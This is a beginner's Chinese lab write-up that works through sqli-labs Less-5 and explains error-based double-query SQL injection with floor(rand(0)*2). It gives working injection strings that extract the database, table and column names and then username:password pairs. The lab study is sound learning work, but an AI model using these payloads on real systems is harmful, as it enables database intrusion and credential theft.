zoukankan      html  css  js  c++  java
  • 小白注入学习:sqli-labs--less5学习记录

    Less5 字符型双注入:floor()函数报错注入

    1.判断是否为注入点以及注入类型
    (1) ?id=1' 页面显示错误,数据库报错
    ?id=1' and 1=1--+ 页面正常显示
    ?id=1' and 1=2--+ 页面显示错误
    (2)经过这些测试基本可以确定这里存在注入点但是与之前不同的是,Less5只显示You are in...和报错信息而不显示其他的信息,不能通过显错式注入。
    (3)因为页面会显示数据库的报错信息,这里可以通过报错式进行注入。这里我用floor()函数报错注入。
    2.获取数据库名

    ?id=-1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2))as a from information_schema.tables group by a--+

    dbname


    3.获取表名

    ?id=-1' union select 1,count(*),concat_ws('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+

    tbname


    4.获取列名

    ?id=-1' union select 1,count(*),concat_ws('~',(select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand(0)*2)) as a from information_schema.tables group by a--+

    columns


    5.获取字段内容

    ?id=-1' union select 1,count(*),concat_ws('~',(select concat_ws(':',username,password)from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+

    upwd


    PS:小白总结

    (1)floor报错原理分析(附上一篇讲解精细的博客)
    https://www.cnblogs.com/litlife/p/8472323.html
    (2) concat_ws()函数是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。
    (3) 因为报错显示只允许显示一行内容,常在查询后跟上limit()函数,一条一条的查询数据
    limit(m,n) 表示从m+1开始取n条数据
    limit 1,1表示从第二条数据开始取一条数据,limit n表示从第0条数据开始读取n条数据。
    (4)Less5主要根据其页面有报错信息来选择报错注入。floor()报错注入,在payload中有两次select查询语句,也就是双查询注入。

    小白注入学习记录!!

  • 相关阅读:
    WPF Caliburn 学习笔记(五)HelloCaliburn
    MSDN 教程短片 WPF 20(绑定3ObjectDataProvider)
    MSDN 教程短片 WPF 23(3D动画)
    比赛总结一
    HDU3686 Traffic Real Time Query System
    HDU3954 Level up
    EOJ382 Match Maker
    UESTC1565 Smart Typist
    HDU3578 Greedy Tino
    ZOJ1975 The Sierpinski Fractal
  • 原文地址:https://www.cnblogs.com/ersuani/p/sqlilab_less5.html
Copyright © 2011-2022 走看看